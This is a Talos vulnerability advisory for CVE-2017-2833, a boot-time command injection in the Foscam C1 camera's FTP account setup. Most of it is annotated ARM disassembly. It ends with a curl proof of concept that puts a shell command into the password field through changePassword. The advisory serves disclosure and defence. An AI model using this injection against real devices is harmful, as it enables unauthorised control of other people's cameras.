Talos Vulnerability Report

TALOS-2017-0334

Foscam IP Video Camera CGIProxy.fcgi FTP Startup Configuration Command Injection Vulnerability

June 19, 2017
CVE Number

CVE-2017-2833

Summary

An exploitable command injection vulnerability exists in the web management interface used by the Foscam C1 Indoor HD Camera running application firmware 2.52.2.37. A specially crafted HTTP request can allow for a user to inject arbitrary shell characters resulting in command injection during the boot process. To trigger this vulnerability, an attacker needs to send an HTTP request and reboot the device.

Tested Versions

Foscam, Inc. Indoor IP Camera C1 Series System Firmware Version: 1.9.3.17 Application Firmware Version: 2.52.2.37 Web Version: 2.0.1.1 Plug-In Version: 3.3.0.5

Product URLs

Foscam

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

Details

Foscam produces a series of IP-capable surveillance devices, network video recorders, and baby monitors for the end-user. Foscam produces a range of cameras for both indoor and outdoor use and with wireless capability. One of these models is the C1 series which contains a web-based user interface for management and is based on the arm architecture. Foscam is considered one of the most common security cameras out on the current market.

The “webService” binary is launched on device boot and takes care of starting several other executables, e.g. the HTTP daemon, and it takes care of configuring the FTP server. Before calling main(), the dynamic linker calls all the functions defined in the .init_array, one after the other. “webService” contains 35 different initialization functions: this advisory describes a vulnerable path in the function sub_1E6A4 [1].

.init_array:0009D2D0 DCD sub_1360C
.init_array:0009D2D4 DCD sub_137C4
.init_array:0009D2D8 DCD sub_1E6A4   ; [1]
.init_array:0009D2DC DCD sub_23A00
...
.init_array:0009D358 DCD sub_70044

sub_1E6A4 takes care of initializing several objects that will be used in the future and starts several threads to handle the communication with other applications running on the device. It also loads the user accounts [2] and configures the FTP server [3].

.text:0001E6A4                        sub_1E6A4
.text:0001E6A4 10 40 2D E9                   STMFD   SP!, {R4,LR}
...
.text:0001E6B0 2D D2 FF EB                   BL      std::ios_base::Init::Init(void)
...
.text:0001E748 9D 1B 00 EB                   BL      sub_255C4                       ; [2]
...
.text:0001E844 08 DC 00 EB                   BL      sub_5586C                       ; [3]
...

sub_5586C calls two functions: one for reading the configuration file (which only contains the FTP port number) [4], and one which configures the FTP database with existing user accounts [5]. This last one is the vulnerable function.

.text:0005586C                        sub_5586C
.text:0005586C 1C 30 9F E5                   LDR     R3, =off_86680
.text:00055870 10 40 2D E9                   STMFD   SP!, {R4,LR}
.text:00055874 00 30 80 E5                   STR     R3, [R0]
.text:00055878 00 40 A0 E1                   MOV     R4, R0
.text:0005587C 8C FF FF EB                   BL      sub_556B4                       ; [5]
.text:00055880 04 00 A0 E1                   MOV     R0, R4
.text:00055884 01 FF FF EB                   BL      ftpServerReadConfigFile_4d490   ; [4]
.text:00055884
.text:00055888 04 00 A0 E1                   MOV     R0, R4
.text:0005588C 10 80 BD E8                   LDMFD   SP!, {R4,PC}

sub_556B4 first calls [6] for loading user accounts from “/mnt/mtd/app/config/UserAccountConfig.bin”. It then loops [7] over each account and checks for the privilege level. If the privilege is 2 [8], the service will build a format string using “sh /usr/bin/ftpd/configFTP.sh 1 %s %s” [9] and the username [10] and password [11] pair, without sanitizing the parameters. Once this is done, the string will be passed to the system call at [12]. Due to the service not enforcing any restrictions on the character set, this can allow an attacker to inject arbitrary characters that may be interpreted by the Bourne shell which can allow for one to execute arbitrary commands.

.text:000556B4                        sub_556B4
.text:000556B4
.text:000556B4 F0 45 2D E9                   STMFD   SP!, {R4-R8,R10,LR}
.text:000556B8 26 DD 4D E2                   SUB     SP, SP, #0x980
.text:000556BC 04 D0 4D E2                   SUB     SP, SP, #4
.text:000556C0 08 40 8D E2                   ADD     R4, SP, #0x9A0+var_998
.text:000556C4 04 00 A0 E1                   MOV     R0, R4
.text:000556C8 BD 3F FF EB                   BL      sub_255C4                       ; [6]
...
.text:00055790 17 00 00 EA                   B       loc_557F4
.text:00055794
.text:00055794                        loc_55794
.text:00055794 0C 30 95 E5                   LDR     R3, [R5,#0xC]
.text:00055798 02 00 53 E3                   CMP     R3, #2                          ; [8]
.text:0005579C 12 00 00 1A                   BNE     loc_557EC
.text:000557A0 59 7E 8D E2                   ADD     R7, SP, #0x9A0+var_410
.text:000557A4 04 70 87 E2                   ADD     R7, R7, #4
.text:000557A8 00 10 A0 E3                   MOV     R1, #0
.text:000557AC FA 2F A0 E3                   MOV     R2, #0x3E8
.text:000557B0 07 00 A0 E1                   MOV     R0, R7
.text:000557B4 CB F5 FE EB                   BL      memset
.text:000557B8 10 30 95 E5                   LDR     R3, [R5,#0x10]                  ; [11]
.text:000557BC 00 30 8D E5                   STR     R3, [SP,#0x9A0+var_9A0]
.text:000557C0 07 00 A0 E1                   MOV     R0, R7
.text:000557C4 FA 1F A0 E3                   MOV     R1, #0x3E8
.text:000557C8 90 20 9F E5                   LDR     R2, =str.sh_configFTP           ; [9]
.text:000557CC 08 30 95 E5                   LDR     R3, [R5,#8]                     ; [10]
.text:000557D0 44 F4 FE EB                   BL      snprintf
.text:000557D4 07 00 A0 E1                   MOV     R0, R7
.text:000557D8 5B F3 FE EB                   BL      system                          ; [12]
...
.text:000557EC                        loc_557EC
.text:000557EC 01 80 88 E2                   ADD     R8, R8, #1
.text:000557F0 0C 50 85 E2                   ADD     R5, R5, #0xC
.text:000557F4
.text:000557F4                        loc_557F4
.text:000557F4 7C 39 9D E5                   LDR     R3, [SP,#0x9A0+var_24]
.text:000557F8 03 00 58 E1                   CMP     R8, R3
.text:000557FC E4 FF FF BA                   BLT     loc_55794                       ; [7]

Exploit Proof-of-Concept

This vulnerability is reachable during the boot process. To trigger it, a command injection must be placed either in the username or in password field of the account. This can be done by the “changePassword” command, which requires a valid user account to change the password for:

```
$ sUsr="admin"
$ sPwd=""
$ sNewPwd=`perl -MURI::Escape -e 'print uri_escape(";echo y>/tmp/www/injected.txt")'`
$ curl "http://$SERVER/cgi-bin/CGIProxy.fcgi?usr=${sUsr}&pwd=${sPwd}&cmd=changePassword&usrName=${sUsr}&oldPwd=${sPwd}&newPwd=${sNewPwd}"
```

The device should then be rebooted using other means, and the command will be executed upon boot. Note that any command that alters username and password can be used, for example the “addAccount” command.

Timeline

2017-05-08 - Vendor Disclosure
2017-06-19 - Public Release

Credit

Discovered by Claudio Bozzato and another member of Cisco Talos.